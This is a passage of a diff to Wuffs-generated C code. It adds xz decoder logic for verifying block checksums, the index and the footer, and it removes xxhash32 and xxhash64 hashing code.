-= 1u; + #if defined(__GNUC__) + #pragma GCC diagnostic pop + #endif +- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); +- } +- v_buf_len = ((uint32_t)((self->private_impl.f_buf_len & 15u))); +- v_v0 = self->private_impl.f_v0; +- v_v1 = self->private_impl.f_v1; +- v_v2 = self->private_impl.f_v2; +- v_v3 = self->private_impl.f_v3; +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 16; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 16) * 16); +- while (v_p.ptr < i_end0_p) { +- v_buf_u32 = (((uint32_t)(v_p.ptr[0u])) | +- (((uint32_t)(v_p.ptr[1u])) << 8u) | +- (((uint32_t)(v_p.ptr[2u])) << 16u) | +- (((uint32_t)(v_p.ptr[3u])) << 24u)); +- v_v0 = ((uint32_t)(v_v0 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v0 = (((uint32_t)(v_v0 << 13u)) | (v_v0 >> 19u)); +- v_v0 = ((uint32_t)(v_v0 * 2654435761u)); +- v_buf_u32 = (((uint32_t)(v_p.ptr[4u])) | +- (((uint32_t)(v_p.ptr[5u])) << 8u) | +- (((uint32_t)(v_p.ptr[6u])) << 16u) | +- (((uint32_t)(v_p.ptr[7u])) << 24u)); +- v_v1 = ((uint32_t)(v_v1 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v1 = (((uint32_t)(v_v1 << 13u)) | (v_v1 >> 19u)); +- v_v1 = ((uint32_t)(v_v1 * 2654435761u)); +- v_buf_u32 = (((uint32_t)(v_p.ptr[8u])) | +- (((uint32_t)(v_p.ptr[9u])) << 8u) | +- (((uint32_t)(v_p.ptr[10u])) << 16u) | +- (((uint32_t)(v_p.ptr[11u])) << 24u)); +- v_v2 = ((uint32_t)(v_v2 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v2 = (((uint32_t)(v_v2 << 13u)) | (v_v2 >> 19u)); +- v_v2 = ((uint32_t)(v_v2 * 2654435761u)); +- v_buf_u32 = (((uint32_t)(v_p.ptr[12u])) | +- (((uint32_t)(v_p.ptr[13u])) << 8u) | +- (((uint32_t)(v_p.ptr[14u])) << 16u) | +- (((uint32_t)(v_p.ptr[15u])) << 24u)); +- v_v3 = ((uint32_t)(v_v3 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v3 = (((uint32_t)(v_v3 << 13u)) | (v_v3 >> 19u)); +- v_v3 = ((uint32_t)(v_v3 * 2654435761u)); +- v_p.ptr += 16; +- } +- v_p.len = 1; +- uint8_t* i_end1_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end1_p) { +- self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; +- v_buf_len = ((v_buf_len + 1u) & 15u); +- v_p.ptr += 1; ++ } ++ } ++ } ++ v_compressed_size += wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src))); ++ v_uncompressed_size += wuffs_private_impl__io__count_since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst))); ++ if (self->private_impl.f_ignore_checksum) { ++ } else if (self->private_impl.f_checksummer == 1u) { ++ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); ++ } else if (self->private_impl.f_checksummer == 2u) { ++ wuffs_crc64__ecma_hasher__update(&self->private_data.f_crc64, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); ++ } else if (self->private_impl.f_checksummer == 3u) { ++ wuffs_sha256__hasher__update(&self->private_data.f_sha256, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); ++ } ++ if ((self->private_impl.f_block_has_compressed_size && (self->private_impl.f_block_compressed_size != v_compressed_size)) || (self->private_impl.f_block_has_uncompressed_size && (self->private_impl.f_block_uncompressed_size != v_uncompressed_size))) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_size_for_index, v_compressed_size); ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_size_for_index, ((uint64_t)(WUFFS_XZ__CHECKSUM_LENGTH[self->private_impl.f_checksummer]))); ++ self->private_impl.f_verification_have_total_sizes[0u] += self->private_impl.f_compressed_size_for_index; ++ v_hash = ((uint32_t)((self->private_impl.f_compressed_size_for_index ^ (self->private_impl.f_compressed_size_for_index >> 32u)))); ++ v_hash *= 3432918353u; ++ v_hash = (((uint32_t)(v_hash << 15u)) | (v_hash >> 17u)); ++ v_hash *= 461845907u; ++ v_hash ^= self->private_impl.f_verification_have_hashed_sizes[0u]; ++ v_hash = (((uint32_t)(v_hash << 13u)) | (v_hash >> 19u)); ++ self->private_impl.f_verification_have_hashed_sizes[0u] = ((uint32_t)(((uint32_t)(v_hash * 5u)) + 3864292196u)); ++ self->private_impl.f_verification_have_total_sizes[1u] += v_uncompressed_size; ++ v_hash = ((uint32_t)((v_uncompressed_size ^ (v_uncompressed_size >> 32u)))); ++ v_hash *= 3432918353u; ++ v_hash = (((uint32_t)(v_hash << 15u)) | (v_hash >> 17u)); ++ v_hash *= 461845907u; ++ v_hash ^= self->private_impl.f_verification_have_hashed_sizes[1u]; ++ v_hash = (((uint32_t)(v_hash << 13u)) | (v_hash >> 19u)); ++ self->private_impl.f_verification_have_hashed_sizes[1u] = ((uint32_t)(((uint32_t)(v_hash * 5u)) + 3864292196u)); ++ while ((v_compressed_size & 3u) != 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; ++ } ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_padding); ++ goto exit; ++ } ++ v_compressed_size += 1u; ++ } ++ self->private_impl.f_lzma_needs_reset = true; ++ if (self->private_impl.f_ignore_checksum) { ++ self->private_data.s_do_transform_io.scratch = ((uint32_t)(WUFFS_XZ__CHECKSUM_LENGTH[self->private_impl.f_checksummer])); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ if (self->private_data.s_do_transform_io.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_transform_io.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_transform_io.scratch; ++ } else if (self->private_impl.f_checksummer == 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ uint32_t t_7; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_7 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; ++ if (num_bits_7 == 24) { ++ t_7 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_7 += 8u; ++ *scratch |= ((uint64_t)(num_bits_7)) << 56; ++ } ++ } ++ v_checksum32_want = t_7; ++ } ++ v_checksum32_have = wuffs_crc32__ieee_hasher__checksum_u32(&self->private_data.f_crc32); ++ if (v_checksum32_have != v_checksum32_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ } else if (self->private_impl.f_checksummer == 2u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ uint64_t t_8; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_8 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; ++ if (num_bits_8 == 56) { ++ t_8 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_8 += 8u; ++ *scratch |= ((uint64_t)(num_bits_8)) << 56; ++ } ++ } ++ v_checksum64_want = t_8; ++ } ++ v_checksum64_have = wuffs_crc64__ecma_hasher__checksum_u64(&self->private_data.f_crc64); ++ if (v_checksum64_have != v_checksum64_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ } else if (self->private_impl.f_checksummer == 3u) { ++ v_checksum256_have = wuffs_sha256__hasher__checksum_bitvec256(&self->private_data.f_sha256); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); ++ uint64_t t_9; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_9 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_9 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_9); ++ if (num_bits_9 == 56) { ++ t_9 = ((uint64_t)(*scratch >> 0)); ++ break; ++ } ++ num_bits_9 += 8u; ++ *scratch |= ((uint64_t)(num_bits_9)); ++ } ++ } ++ v_checksum64_want = t_9; ++ } ++ if (wuffs_base__bitvec256__get_u64(&v_checksum256_have, 3u) != v_checksum64_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); ++ uint64_t t_10; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_10 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_10 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_10); ++ if (num_bits_10 == 56) { ++ t_10 = ((uint64_t)(*scratch >> 0)); ++ break; ++ } ++ num_bits_10 += 8u; ++ *scratch |= ((uint64_t)(num_bits_10)); ++ } ++ } ++ v_checksum64_want = t_10; ++ } ++ if (wuffs_base__bitvec256__get_u64(&v_checksum256_have, 2u) != v_checksum64_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); ++ uint64_t t_11; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_11 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_11 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_11); ++ if (num_bits_11 == 56) { ++ t_11 = ((uint64_t)(*scratch >> 0)); ++ break; ++ } ++ num_bits_11 += 8u; ++ *scratch |= ((uint64_t)(num_bits_11)); ++ } ++ } ++ v_checksum64_want = t_11; ++ } ++ if (wuffs_base__bitvec256__get_u64(&v_checksum256_have, 1u) != v_checksum64_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); ++ uint64_t t_12; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_12 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_12 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_12); ++ if (num_bits_12 == 56) { ++ t_12 = ((uint64_t)(*scratch >> 0)); ++ break; ++ } ++ num_bits_12 += 8u; ++ *scratch |= ((uint64_t)(num_bits_12)); ++ } ++ } ++ v_checksum64_want = t_12; ++ } ++ if (wuffs_base__bitvec256__get_u64(&v_checksum256_have, 0u) != v_checksum64_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ } ++ } ++ self->private_impl.f_backwards_size = 0u; ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ } ++ while (true) { ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_13 = wuffs_xz__decoder__verify_index(self, a_src); ++ v_status = t_13; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_backwards_size, wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)))); ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(25); ++ } ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_XZ__ZEROES), (3u & ((uint64_t)(0u - (3u & self->private_impl.f_backwards_size)))))); ++ } ++ while ((self->private_impl.f_backwards_size & 3u) != 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(26); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_14 = *iop_a_src++; ++ v_c8 = t_14; ++ } ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ self->private_impl.f_backwards_size += 1u; ++ } ++ self->private_impl.f_backwards_size >>= 2u; ++ if ((self->private_impl.f_backwards_size == 0u) || (self->private_impl.f_backwards_size > 4294967295u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(27); ++ uint32_t t_15; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_15 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(28); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_15 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_15; ++ if (num_bits_15 == 24) { ++ t_15 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_15 += 8u; ++ *scratch |= ((uint64_t)(num_bits_15)) << 56; ++ } ++ } ++ v_checksum32_want = t_15; ++ } ++ if (self->private_impl.f_ignore_checksum) { ++ } else if (v_checksum32_want != wuffs_crc32__ieee_hasher__checksum_u32(&self->private_data.f_crc32)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } else { ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(29); ++ uint32_t t_16; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_16 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(30); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_16 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_16; ++ if (num_bits_16 == 24) { ++ t_16 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_16 += 8u; ++ *scratch |= ((uint64_t)(num_bits_16)) << 56; ++ } ++ } ++ v_checksum32_want = t_16; ++ } ++ while (true) { ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_17 = wuffs_xz__decoder__verify_footer(self, a_src); ++ v_status = t_17; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(31); ++ } ++ if ( ! self->private_impl.f_ignore_checksum && (v_checksum32_want != wuffs_crc32__ieee_hasher__checksum_u32(&self->private_data.f_crc32))) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(32); ++ uint16_t t_18; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_18 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(33); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_18 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_18; ++ if (num_bits_18 == 8) { ++ t_18 = ((uint16_t)(*scratch)); ++ break; ++ } ++ num_bits_18 += 8u; ++ *scratch |= ((uint64_t)(num_bits_18)) << 56; ++ } ++ } ++ v_footer_magic = t_18; ++ } ++ if (v_footer_magic != 23129u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_footer); ++ goto exit; ++ } ++ if ( ! self->private_impl.f_standalone_format) { ++ break; ++ } ++ while (true) { ++ while (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ if (a_src && a_src->meta.closed) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) == 0u) { ++ goto label__streams__break; ++ } else { ++ status = wuffs_base__make_status(wuffs_xz__error__truncated_input); ++ goto exit; ++ } ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(34); ++ } ++ v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ if (v_c32 == 1484404733u) { ++ break; ++ } else if (v_c32 != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_header_concatenated_stream); ++ goto exit; ++ } ++ iop_a_src += 4u; ++ } ++ self->private_impl.f_started_verify_index = false; + } +- v_p.len = 0; +- } +- self->private_impl.f_buf_len = ((uint8_t)(v_buf_len)); +- self->private_impl.f_v0 = v_v0; +- self->private_impl.f_v1 = v_v1; +- self->private_impl.f_v2 = v_v2; +- self->private_impl.f_v3 = v_v3; +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func xxhash32.hasher.checksum_u32 ++ label__streams__break:; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_xxhash32__hasher__checksum_u32( +- const wuffs_xxhash32__hasher* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ ok: ++ self->private_impl.p_do_transform_io = 0; ++ goto exit; + } + +- uint32_t v_ret = 0; +- uint32_t v_i = 0; +- uint32_t v_n = 0; +- uint32_t v_buf_u32 = 0; ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_transform_io.v_checksum32_have = v_checksum32_have; ++ self->private_data.s_do_transform_io.v_checksum32_want = v_checksum32_want; ++ self->private_data.s_do_transform_io.v_checksum256_have = v_checksum256_have; ++ self->private_data.s_do_transform_io.v_compressed_size = v_compressed_size; ++ self->private_data.s_do_transform_io.v_uncompressed_size = v_uncompressed_size; + +- if ((self->private_impl.f_length_modulo_u32 >= 16u) || self->private_impl.f_length_overflows_u32) { +- v_ret += (((uint32_t)(self->private_impl.f_v0 << 1u)) | (self->private_impl.f_v0 >> 31u)); +- v_ret += (((uint32_t)(self->private_impl.f_v1 << 7u)) | (self->private_impl.f_v1 >> 25u)); +- v_ret += (((uint32_t)(self->private_impl.f_v2 << 12u)) | (self->private_impl.f_v2 >> 20u)); +- v_ret += (((uint32_t)(self->private_impl.f_v3 << 18u)) | (self->private_impl.f_v3 >> 14u)); +- v_ret += self->private_impl.f_length_modulo_u32; +- } else { +- v_ret += 374761393u; +- v_ret += self->private_impl.f_length_modulo_u32; +- } +- v_n = 16u; +- v_n = wuffs_base__u32__min(v_n, ((uint32_t)(self->private_impl.f_buf_len))); +- if (4u <= v_n) { +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[0u])) | +- (((uint32_t)(self->private_impl.f_buf_data[1u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[2u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[3u])) << 24u)); +- v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); +- v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); +- v_ret *= 668265263u; +- v_i = 4u; +- } +- if (8u <= v_n) { +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[4u])) | +- (((uint32_t)(self->private_impl.f_buf_data[5u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[6u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[7u])) << 24u)); +- v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); +- v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); +- v_ret *= 668265263u; +- v_i = 8u; +- } +- if (12u <= v_n) { +- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[8u])) | +- (((uint32_t)(self->private_impl.f_buf_data[9u])) << 8u) | +- (((uint32_t)(self->private_impl.f_buf_data[10u])) << 16u) | +- (((uint32_t)(self->private_impl.f_buf_data[11u])) << 24u)); +- v_ret += ((uint32_t)(v_buf_u32 * 3266489917u)); +- v_ret = (((uint32_t)(v_ret << 17u)) | (v_ret >> 15u)); +- v_ret *= 668265263u; +- v_i = 12u; ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); + } +- while (v_i < v_n) { +- v_ret += ((uint32_t)(((uint32_t)(self->private_impl.f_buf_data[v_i])) * 374761393u)); +- v_ret = (((uint32_t)(v_ret << 11u)) | (v_ret >> 21u)); +- v_ret *= 2654435761u; +- v_i += 1u; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_ret ^= (v_ret >> 15u); +- v_ret *= 2246822519u; +- v_ret ^= (v_ret >> 13u); +- v_ret *= 3266489917u; +- v_ret ^= (v_ret >> 16u); +- return v_ret; +-} +- +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) +- +-// ---------------- Status Codes Implementations + +-// ---------------- Private Consts ++ return status; ++} + +-#define WUFFS_XXHASH64__XXH_PRIME64_1 11400714785074694791 ++// -------- func xz.decoder.decode_block_header_with_padding + +-#define WUFFS_XXHASH64__XXH_PRIME64_2 14029467366897019727 ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_xz__decoder__decode_block_header_with_padding( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-#define WUFFS_XXHASH64__XXH_PRIME64_3 1609587929392839161 ++ uint8_t v_c8 = 0; ++ uint64_t v_padded_size_have = 0; ++ uint64_t v_padded_size_want = 0; ++ uint64_t v_smark = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +-#define WUFFS_XXHASH64__XXH_PRIME64_4 9650029242287828579 ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +-#define WUFFS_XXHASH64__XXH_PRIME64_5 2870177450012600261 ++ uint32_t coro_susp_point = self->private_impl.p_decode_block_header_with_padding; ++ if (coro_susp_point) { ++ v_padded_size_have = 